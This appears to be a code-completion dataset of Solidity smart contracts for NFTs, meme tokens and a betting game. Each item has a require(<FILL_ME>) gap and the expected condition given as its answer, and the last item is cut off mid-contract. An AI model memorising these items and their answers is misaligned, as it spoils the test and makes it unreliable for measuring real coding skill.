function mintPublic(uint256 tokenQuantity) public payable {
require(_isSaleActive, "Sale must be active to mint NFT");
require(tokenQuantity <= maxMint, "Mint too many tokens at a time");
require(
balanceOf(msg.sender) + tokenQuantity <= maxBalance,
"Sale would exceed max balance"
);
require(
totalSupply() + tokenQuantity <= MAX_SUPPLY,
"Sale would exceed max supply"
);
require(<FILL_ME>)
_safeMint(msg.sender, tokenQuantity);
}
function mintOwner(uint256 tokenQuantity) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function flipSaleActive() public onlyOwner {
}
function flipReveal() public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setMaxBalance(uint256 _maxBalance) public onlyOwner {
}
function setMaxMint(uint256 _maxMint) public onlyOwner {
}
function withdraw(address to) public onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public payable
override
onlyAllowedOperator(from)
{
}
}
| tokenQuantity*mintPrice<=msg.value,"Not enough ether" | 67,617 | tokenQuantity*mintPrice<=msg.value |
"ERC20: transfer from the zero address." | // SPDX-License-Identifier: Unlicensed
// https://t.me/nikolateslaportal
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract NikolaTesla is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
bool public limitsInEffect = true;
bool public tradingActive = false;
uint256 public swapTokensAtAmount;
uint256 public maxTransactionAmount;
uint256 public maxWallet;
address public taxWallet;
struct Taxes {
uint256 buy;
uint256 sell;
}
Taxes public taxes;
mapping(address => bool) private excludedFromFees;
mapping(address => bool) private excludeFromMaxTransaction;
mapping(address => bool) private pairs;
constructor() ERC20("Nikola Tesla", "TESLA") {
}
receive() external payable {}
function startTrading() external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function setFees(uint256 buy, uint256 sell) external onlyOwner {
require(<FILL_ME>)
taxes = Taxes(buy, sell);
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
}
| buy+sell<=10,"ERC20: transfer from the zero address." | 67,636 | buy+sell<=10 |
"Trading is not active." | // SPDX-License-Identifier: Unlicensed
// https://t.me/nikolateslaportal
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract NikolaTesla is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
bool public limitsInEffect = true;
bool public tradingActive = false;
uint256 public swapTokensAtAmount;
uint256 public maxTransactionAmount;
uint256 public maxWallet;
address public taxWallet;
struct Taxes {
uint256 buy;
uint256 sell;
}
Taxes public taxes;
mapping(address => bool) private excludedFromFees;
mapping(address => bool) private excludeFromMaxTransaction;
mapping(address => bool) private pairs;
constructor() ERC20("Nikola Tesla", "TESLA") {
}
receive() external payable {}
function startTrading() external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function setFees(uint256 buy, uint256 sell) external onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address.");
require(to != address(0), "ERC20: transfer to the zero address.");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if(tradingActive == false){
require(<FILL_ME>)
}
if (limitsInEffect == true) {
if (pairs[from] && !excludeFromMaxTransaction[to]) {
require(amount <= maxTransactionAmount, "ERC20: Buy transfer amount exceeds the max transaction amount.");
require(amount + balanceOf(to) <= maxWallet, "ERC20: Max wallet exceeded.");
} else if (pairs[to] && !excludeFromMaxTransaction[from]) {
require(amount <= maxTransactionAmount, "ERC20: Sell transfer amount exceeds the max transaction amount.");
} else if (!excludeFromMaxTransaction[to]) {
require(amount + balanceOf(to) <= maxWallet, "ERC20: Max wallet exceeded.");
}
}
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if (canSwap && !swapping && !pairs[from] && !excludedFromFees[from] && !excludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (excludedFromFees[from] || excludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (pairs[to] && taxes.sell > 0) {
fees = amount.mul(taxes.sell).div(100);
} else if (pairs[from] && taxes.buy > 0) {
fees = amount.mul(taxes.buy).div(100);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
}
| excludedFromFees[from]||excludedFromFees[to],"Trading is not active." | 67,636 | excludedFromFees[from]||excludedFromFees[to] |
"You don't have enough tokens to play" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Random {
function getRandom(uint256 _modulus) external returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function getUnlockTime() public view returns (uint256) {
}
function getTime() public view returns (uint256) {
}
function lock(uint256 time) public virtual onlyOwner {
}
function unlock() public virtual {
}
}
contract Kick is Ownable{
struct User {
uint256 goalScored;
uint256 totalTries;
uint256 goalMissed;
}
IERC20 public token;
address public storeAddress;
address private randomGeneratorAddress;
uint256 public winningMultiple;
uint256 public winningFactor;
uint256 public rewardNumerator;
uint256 public rewardDenominator;
uint256 public maxBet;
mapping (address => User) public userData;
constructor () {}
function getRandomNumber() public returns (bool) {
}
function kick(uint256 amount) public returns (bool) {
require(<FILL_ME>)
require(amount <= maxBet, "You can't bet more than maxBet");
require(token.allowance(msg.sender, address(this)) >= amount, "You need to approve the contract to spend your tokens");
token.transferFrom(msg.sender, storeAddress, amount);
bool _isWin = getRandomNumber();
if (_isWin){
userData[msg.sender].goalScored += 1;
token.transferFrom(storeAddress, msg.sender, (amount* rewardNumerator) / rewardDenominator);
}else {
userData[msg.sender].goalMissed += 1;
}
userData[msg.sender].totalTries += 1;
return _isWin;
}
// All onlyOwner functions here
function setToken (address _token) public onlyOwner {
}
function setStoreAddress (address _storeAddress) public onlyOwner {
}
function setWinningMultiple (uint256 _winningMultiple) public onlyOwner {
}
function setWinningFactor (uint256 _winningFactor) public onlyOwner {
}
function setRewardNumerator (uint256 _rewardNumerator) public onlyOwner {
}
function setRewardDenominator (uint256 _rewardDenominator) public onlyOwner {
}
function setMaxBet (uint256 _maxBet) public onlyOwner {
}
function setRandomGeneratorAddress (address _randomGeneratorAddress) public onlyOwner {
}
// Emergency functions
// this function is to withdraw BNB sent to this address by mistake
function withdrawEth () external onlyOwner returns (bool) {
}
// this function is to withdraw BEP20 tokens sent to this address by mistake
function withdrawBEP20 (address _tokenAddress) external onlyOwner returns (bool) {
}
}
| token.balanceOf(msg.sender)>=amount,"You don't have enough tokens to play" | 67,684 | token.balanceOf(msg.sender)>=amount |
"You need to approve the contract to spend your tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Random {
function getRandom(uint256 _modulus) external returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function getUnlockTime() public view returns (uint256) {
}
function getTime() public view returns (uint256) {
}
function lock(uint256 time) public virtual onlyOwner {
}
function unlock() public virtual {
}
}
contract Kick is Ownable{
struct User {
uint256 goalScored;
uint256 totalTries;
uint256 goalMissed;
}
IERC20 public token;
address public storeAddress;
address private randomGeneratorAddress;
uint256 public winningMultiple;
uint256 public winningFactor;
uint256 public rewardNumerator;
uint256 public rewardDenominator;
uint256 public maxBet;
mapping (address => User) public userData;
constructor () {}
function getRandomNumber() public returns (bool) {
}
function kick(uint256 amount) public returns (bool) {
require(token.balanceOf(msg.sender) >= amount, "You don't have enough tokens to play");
require(amount <= maxBet, "You can't bet more than maxBet");
require(<FILL_ME>)
token.transferFrom(msg.sender, storeAddress, amount);
bool _isWin = getRandomNumber();
if (_isWin){
userData[msg.sender].goalScored += 1;
token.transferFrom(storeAddress, msg.sender, (amount* rewardNumerator) / rewardDenominator);
}else {
userData[msg.sender].goalMissed += 1;
}
userData[msg.sender].totalTries += 1;
return _isWin;
}
// All onlyOwner functions here
function setToken (address _token) public onlyOwner {
}
function setStoreAddress (address _storeAddress) public onlyOwner {
}
function setWinningMultiple (uint256 _winningMultiple) public onlyOwner {
}
function setWinningFactor (uint256 _winningFactor) public onlyOwner {
}
function setRewardNumerator (uint256 _rewardNumerator) public onlyOwner {
}
function setRewardDenominator (uint256 _rewardDenominator) public onlyOwner {
}
function setMaxBet (uint256 _maxBet) public onlyOwner {
}
function setRandomGeneratorAddress (address _randomGeneratorAddress) public onlyOwner {
}
// Emergency functions
// this function is to withdraw BNB sent to this address by mistake
function withdrawEth () external onlyOwner returns (bool) {
}
// this function is to withdraw BEP20 tokens sent to this address by mistake
function withdrawBEP20 (address _tokenAddress) external onlyOwner returns (bool) {
}
}
| token.allowance(msg.sender,address(this))>=amount,"You need to approve the contract to spend your tokens" | 67,684 | token.allowance(msg.sender,address(this))>=amount |
"Must keep buy taxes below 30%" | /**
WEB: pelicantoken.xyz
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PELICAN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _buyProjectFee = 3;
uint256 private _previousBuyProjectFee = _buyProjectFee;
uint256 private _buyLiquidityFee = 2;
uint256 private _previousBuyLiquidityFee = _buyLiquidityFee;
uint256 private _buyRewardFee = 1;
uint256 private _previousBuyRewardFee = _buyRewardFee;
uint256 private _sellProjectFee = 3;
uint256 private _previousSellProjectFee = _sellProjectFee;
uint256 private _sellLiquidityFee = 2;
uint256 private _previousSellLiquidityFee = _sellLiquidityFee;
uint256 private _sellRewardFee = 1;
uint256 private _previousSellRewardFee = _sellRewardFee;
uint256 private tokensForReward;
uint256 private tokensForProject;
uint256 private tokensForLiquidity;
address payable private _rewardWallet;
address payable private _projectWallet;
address payable private _liquidityWallet;
string private constant _name = "Pelican";
string private constant _symbol = "PELICAN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private swapping;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private tradingActiveBlock = 0; // 0 means trading is not active
uint256 private blocksToBlacklist = 3;
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxWalletAmount = _tTotal;
uint256 private swapTokensAtAmount = 0;
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event MaxSellAmountUpdated(uint _maxSellAmount);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function setSwapEnabled(bool onoff) external onlyOwner(){
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapBack() private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function setBots(address[] memory bots_) public onlyOwner {
}
function setMaxBuyAmount(uint256 maxBuy) public onlyOwner {
}
function setMaxSellAmount(uint256 maxSell) public onlyOwner {
}
function setMaxWalletAmount(uint256 maxToken) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
}
function setProjectWallet(address projectWallet) public onlyOwner() {
}
function setRewardWallet(address rewardWallet) public onlyOwner() {
}
function setLiquidityWallet(address liquidityWallet) public onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function setBuyFee(uint256 buyProjectFee, uint256 buyLiquidityFee, uint256 buyRewardFee) external onlyOwner {
require(<FILL_ME>)
_buyProjectFee = buyProjectFee;
_buyLiquidityFee = buyLiquidityFee;
_buyRewardFee = buyRewardFee;
}
function setSellFee(uint256 sellProjectFee, uint256 sellLiquidityFee, uint256 sellRewardFee) external onlyOwner {
}
function setBlocksToBlacklist(uint256 blocks) public onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function delBot(address notbot) public onlyOwner {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
}
receive() external payable {}
function manualswap() public onlyOwner() {
}
function manualsend() public onlyOwner() {
}
function withdrawStuckETH() external onlyOwner {
}
function _getTotalFees(bool isSell) private view returns(uint256) {
}
}
| buyProjectFee+buyLiquidityFee+buyRewardFee<=30,"Must keep buy taxes below 30%" | 67,762 | buyProjectFee+buyLiquidityFee+buyRewardFee<=30 |
"Must keep sell taxes below 60%" | /**
WEB: pelicantoken.xyz
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PELICAN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _buyProjectFee = 3;
uint256 private _previousBuyProjectFee = _buyProjectFee;
uint256 private _buyLiquidityFee = 2;
uint256 private _previousBuyLiquidityFee = _buyLiquidityFee;
uint256 private _buyRewardFee = 1;
uint256 private _previousBuyRewardFee = _buyRewardFee;
uint256 private _sellProjectFee = 3;
uint256 private _previousSellProjectFee = _sellProjectFee;
uint256 private _sellLiquidityFee = 2;
uint256 private _previousSellLiquidityFee = _sellLiquidityFee;
uint256 private _sellRewardFee = 1;
uint256 private _previousSellRewardFee = _sellRewardFee;
uint256 private tokensForReward;
uint256 private tokensForProject;
uint256 private tokensForLiquidity;
address payable private _rewardWallet;
address payable private _projectWallet;
address payable private _liquidityWallet;
string private constant _name = "Pelican";
string private constant _symbol = "PELICAN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private swapping;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private tradingActiveBlock = 0; // 0 means trading is not active
uint256 private blocksToBlacklist = 3;
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxWalletAmount = _tTotal;
uint256 private swapTokensAtAmount = 0;
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event MaxSellAmountUpdated(uint _maxSellAmount);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function setSwapEnabled(bool onoff) external onlyOwner(){
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapBack() private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function setBots(address[] memory bots_) public onlyOwner {
}
function setMaxBuyAmount(uint256 maxBuy) public onlyOwner {
}
function setMaxSellAmount(uint256 maxSell) public onlyOwner {
}
function setMaxWalletAmount(uint256 maxToken) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
}
function setProjectWallet(address projectWallet) public onlyOwner() {
}
function setRewardWallet(address rewardWallet) public onlyOwner() {
}
function setLiquidityWallet(address liquidityWallet) public onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function setBuyFee(uint256 buyProjectFee, uint256 buyLiquidityFee, uint256 buyRewardFee) external onlyOwner {
}
function setSellFee(uint256 sellProjectFee, uint256 sellLiquidityFee, uint256 sellRewardFee) external onlyOwner {
require(<FILL_ME>)
_sellProjectFee = sellProjectFee;
_sellLiquidityFee = sellLiquidityFee;
_sellRewardFee = sellRewardFee;
}
function setBlocksToBlacklist(uint256 blocks) public onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function delBot(address notbot) public onlyOwner {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
}
receive() external payable {}
function manualswap() public onlyOwner() {
}
function manualsend() public onlyOwner() {
}
function withdrawStuckETH() external onlyOwner {
}
function _getTotalFees(bool isSell) private view returns(uint256) {
}
}
| sellProjectFee+sellLiquidityFee+sellRewardFee<=60,"Must keep sell taxes below 60%" | 67,762 | sellProjectFee+sellLiquidityFee+sellRewardFee<=60 |
"You are exceeding maxWalletAmount" | //SPDX-License-Identifier: MIT
/*
PULSEKISHU ($PLSK)
TOKENOMICS
3% Tax
Telegram: https://t.me/PulseKishuEntry
*/
pragma solidity 0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
